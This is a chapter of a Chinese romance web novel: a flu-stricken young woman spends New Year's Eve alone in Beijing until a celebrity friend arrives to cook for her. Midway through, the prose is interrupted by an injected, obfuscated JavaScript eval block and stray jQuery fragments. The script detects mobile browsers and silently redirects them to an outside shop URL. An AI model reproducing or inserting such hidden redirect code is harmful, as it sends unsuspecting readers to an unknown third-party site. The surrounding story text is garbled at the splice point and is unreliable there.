一转眼,郁漾在北京待到了大年三十。
原本她买了除夕前三天回家的车票,可出发前夕,她被不知何时感染的病毒重创,半夜突然高烧不退,浑身疼到连自己下床都困难。
到医院一检查,感染流感的结果让她彻底心死。
为了家里其他人不被感染,郁漾只能退掉车票,跟家里说了实话。
陈明月一听,不同意她独自留在外地,当即决定要过来陪她,被郁漾阻止。
“那你一个人,在那边怎么过年?冰箱里什么都没准备,也没人照顾你,我们不去你怎么办?”
“现在超市配送很快的,还有外卖,过年早就能点外卖了。妈妈,你放心吧,我一个人没问题。”
“那里是北京,不是我们这种小地方,还怕她会饿死啊?”
周曜的声音比人先出现。
他路过镜头,手里拿了个鸡腿在啃,一点没有担心她的模样:“你就说你是不是偏心。要是这时候是我躺出租屋里,你们只会哦一声,发个红包叫我多喝热水。她得一个流感,就要搞得全家出动。”
“你一边去!”陈明月骂道。
但郁鸣也不赞同陈明月的想法。过去了既不方便住,而且他们这种中老年,身体素质差,要是真的被传染,更给郁漾添麻烦。
陈明月有心却无力,在三人联合劝说下,只好放弃想法。
其实一个人过年,郁漾不觉得有什么凄惨。她习惯了安静,对她来说,这和普通的一天没什么区别。
白天她下单买了些水饮和容易烹饪的食物,随便应付几口。到了傍晚烧还没退,郁漾没胃口,最后只用电饭锅煲了白米粥。
为了不让家人担心,她和往年一样,在朋友圈发了一条语气活泼轻松的拜年内容。
头两天病得严重时,她从头到脚都发胀般地疼,整夜都睡不着。此刻她趴在床上,身上疼痛感比之前明显减轻。
顾不上回复手机里涌入的拜年消息,伴着空气净化器工作时微弱的白噪音,她闭着眼睛,没过一会儿就睡着了。
再睁眼时,她是被手机铃声吵醒。
铃声响了好几次,头两次郁漾以为是自己在做梦,因为过一阵铃声就停止了。直到第三次,手机响了很久,她才清醒一点,以为是家里来的话,摸过来接通“喂”了声。
那头传来略显急促的呼吸,和久违的声音。
“郁漾,你家具体地址是哪栋楼?”
毫不夸张地说,她从困顿到清醒,只花了一秒钟。
“你在哪?”她以为江辛延是回了老家,“我没有回家啊,我在北京……”
“我知道。”他的呼吸开始缓下来,“上次车来接你时,你只留了小区的地址。我不知道你究竟住在哪一栋。”
郁漾从床上坐起来:“我……”
“先告诉我,见面再说。”
向他报出自己的详细单元和门牌后,挂掉电话,郁漾立即拿起酒精喷雾,像人工降雨般,将自己从上到下消毒一遍,又拿出新的口罩带上。
她还拿了一个未拆封的口罩在手上。
但是,他为什么会来?
他又怎么知道,自己没有回家过年?
……
门铃被按响,开门的瞬间,外面的寒意涌向她。
江辛延站在门口,头发被风吹得凌乱,呼吸的白雾飘散在昏暗的楼道里。
他的脸色好白。
“为什么刚才那么久,你都不接电话?我以为、以为你……”
他脸上唯一的一抹颜色,是眼底里可见的红。
“前两天失眠,所以刚才睡着了。听到手机响,我还以为在做梦呢……”
郁漾把手里的口罩递过去,然后站得远远的:“我得了流感,你戴上口罩再进来,别传染给你。”
江辛延听从她的话,将口罩带上才进屋。他进来时,郁漾才注意到,他还提进来一个黑色行李箱。
“你提着箱子,是打算今天出门吗?”
“不是……我刚回北京。”
实际上,他是在去往机场的半路,让司机改道的。
他买了今晚飞悉尼的机票,甚至订好民宿,也告诉了阿姨,自己假期要过去看他们……但和眼前的状况相比,那些都不重要了。
和她说完话,他低头准备换鞋时,注意到玄关已经摆放好一双拖鞋。
灰色格纹,男士的。
那双拖鞋此刻的出现,在他眼里,就像一种嘲讽。笑他此刻登门的身份,是在这里连一双常备拖鞋都没有的路人。
犹豫片刻,他还是换上那双拖鞋,第一次走进她生活的空间。
进门即是一个面积不算大的客厅连着餐厅。除去家具,其他位置挤满了元素丰富的布置。
绿植、画作、动漫周边、乐高……还有一堆稀奇古怪的旅游纪念品,都被她放在客厅的展示架上。
“那些纪念品都是塔塔送的。”郁漾看他视线停留在那些风格各异的纪念品上,解释道,“她经常到处去旅行,就给我带很多小玩意。你还记得塔塔吧?”
“你今天就一个人在这儿吗?”江辛延冷不丁地问,“周曜呢,他去哪儿了?”
“周曜?”
郁漾忽然想到,前段时间周曜对将江辛延的吐槽控诉。
而他此刻的语气,同样带有不加掩饰的锋利。看来那天,他跟周曜是真的闹得不愉快。
“周曜他回家了呀。本来我爸妈是想和他过来,不过被我阻止了。”
事已至此,郁漾直白问道:“你今天怎么会……突然来找我?还知道我没回去?”
这是她此刻最好奇的事。
“你的朋友圈。”江辛延说。
朋友圈?
她只是随便拍了张桌上的乐高花束凑数,再配上“纪念第一次独自在外过春节”的文字,后面还跟了一个元气的笑脸表情。
发这条内容,本意只是为了让郁鸣和陈明月刷到时,不要太过担心自己。
“我发的朋友圈,有什么问题吗?”她什么都没看出来。
“你把药盒拍进来了。”
“啊?”
重新放大再看,郁漾才注意到放在旁边的药盒跟体温计,不小心被拍了进去。甚至,它们只露出了一部分。
因为看到这个,他就来了吗?
她在心里提出了这个自己都不敢相信的假设。
-
屋里暖气很热,江辛延脱下外套放在沙发上,身上只剩下单层卫衣,和宽松休闲牛仔裤。
依旧是他多年的老习惯,不管再冷,他的脖子永远是空空的,就好像他完全不相信,寒风会轻易找到这个入口。
不过坦白讲,这样的他,和那些私生镜头下的造型无异:素净的脸,休闲穿着,遮挡面容的口罩,以及——不对,他不会用现在这样温和又专心的目光,看路上的私生。
郁漾不禁又想到“梦女”那个词。
她甚至怀疑此刻不是现实,还是在刚才的梦里,她做了一个过分真实的梦……
打断她思绪的是他声音。江辛延问她:“吃过年夜饭了吗?”
……好吧,原来不是梦。
“还没有。”
郁漾想到厨房里那锅白粥。她只能尴尬地打开手机,问他:“你应该也还没吃吧?要不我来叫外卖,你想吃什么?”
“如果我不来,你打算吃什么?”他的语气有些严厉。
她低头搜索外卖:“呃,我煮了白粥……”
郁漾听见他的叹气声。随后凉意的触感贴上她额头,是他的手背,带着刚从外室来的温度,很冰。
郁漾终于意识到,年龄带来的改变是什么。
曾经身形单薄的少年,此刻靠近她时,像古典神话里的圣骑士,挺拔宽阔,将余光所及的位置填满。
健康结实的胸肌轮廓,在卫衣的褶皱下甚至能窥见其形。
不是她在偷看,只是视线正好对着他胸前……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731961|203611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>郁漾不着痕迹地移开自己目光。
耳朵发烫的根源,已经辨别不出是来自病毒,还是来自眼前的人。
还好她戴着口罩,脸变得再红他也看不到。
“烧还没全退。不点外卖了,吃点清淡的吧。”声音在她的头顶上方响起,“你家冰箱里有什么?除了白粥。”
“那是你来做吗?”郁漾抬起头。
“不可能让你来做吧。”目光低垂,他的双眼终于弯出笑意,“我做饭其实还不错,不难吃。”
郁漾给他介绍完冰箱里的食材后,江辛延就把她请出了厨房。
但屋里突然多出来一个人,而且是江辛延,她根本不可能轻易平静下来。
流水的声音从厨房传来,让郁漾心里痒痒的。想去看他在做什么,但不好意思,正是纠结的时候,林之俏的视频打过来了。
“我亲爱的朋友,流感好些了吗?”
“嗯。”郁漾点点头。
“我家刚吃完年夜饭。你吃饭了吗?一个人吃什么大餐了,给我看看。”
“没有。”郁漾摇头。
“你干吗呀?”林之俏察觉出不对,生气地问,“态度这么敷衍,是不想跟我说话吗?给你打视频,你还拿口罩蒙着脸,什么意思啊?不想说那我就挂了。”
“不是的,因为……”郁漾的脸凑近手机,对着话筒小小声地说,“有人在我家,我怕传染他才戴的。”
“谁在你家啊?你说话干吗这么偷偷摸摸的,藏野男人了?大声点好吗?”
郁漾豁出去了,眼一闭,终于切换成正常的音量:“江辛延。”
“卧槽?卧槽!我靠我靠我靠我靠啊啊啊啊啊……”
林之俏已经化身成一只“尖叫鸡”,在她耳机里疯狂“打鸣”。而闻声的江辛延以为郁漾叫她,从厨房出来:“怎么了?”
“不是,我在和林之俏视频呢,她问我谁在我家。”
“让我看看江辛延啊!快点快点,你让我看大明星一眼!”无线耳机里是林之俏疯狂催促的声音。
“她想跟你打招呼,你方便吗?”
江辛延走到郁漾身边,自拍摄像头里,瞬间出现他的面孔。
郁漾把视频调成扬声器模式后,他摘下口罩,和林之俏打招呼:“好久不见,林之俏。”
对面的林之俏已经笑到面容扭曲,只能用手捂住嘴:“啊啊啊……天哪我居然和大明星视频了!下次你来找郁漾之前,千万让她先通知我一声啊,我立马赶过去!你知道吧,我可是她的室友……”
“没问题,如果她还愿意邀请我的话。”江辛延对着镜头,露出不亚于面对粉丝营业时的迷人笑容,“但今天是我自己不请自来的。”
林之俏的脸都笑酸了。由于捂着嘴,她发出的笑声从“哈哈哈”变成“呜呜呜”,听上去比哭还诡异。
但这并不妨碍她发挥。
“没关系,我懂,我都懂。坐等你们到时候叫我……”
“咳咳,我好像还没退烧啊,该去吃药了下次再说,新年快乐林之俏,拜拜!”
再聊下去,指不定会聊出什么事。
手机由她掌控,郁漾果断地掐掉了视频。
面对江辛延,她则表现得一脸正直,话题转移:“也麻烦你,快点把口罩带上吧,我家里到处都飘着病毒呢。”
“其实进门时就想告诉你,每年我都会接种流感疫苗,为了不耽误工作。”
他显然不想听劝,直接将手上的口罩扔进桌边的垃圾桶。
“就算被感染,不会太严重,我也有康复的时间。经纪人这次给我留了一段还算宽裕的春节假。”
他说着,抬手摘掉了郁漾一侧的口罩绳。
手指擦过她耳朵上的皮肤,郁漾觉得好痒,却没能躲过这个暧昧的动作。
“别再带着这个交流了。好不容易的见面机会,却连你的脸都看不到。”
言语间,她唯一可以用来遮掩情绪的道具被他摘走了。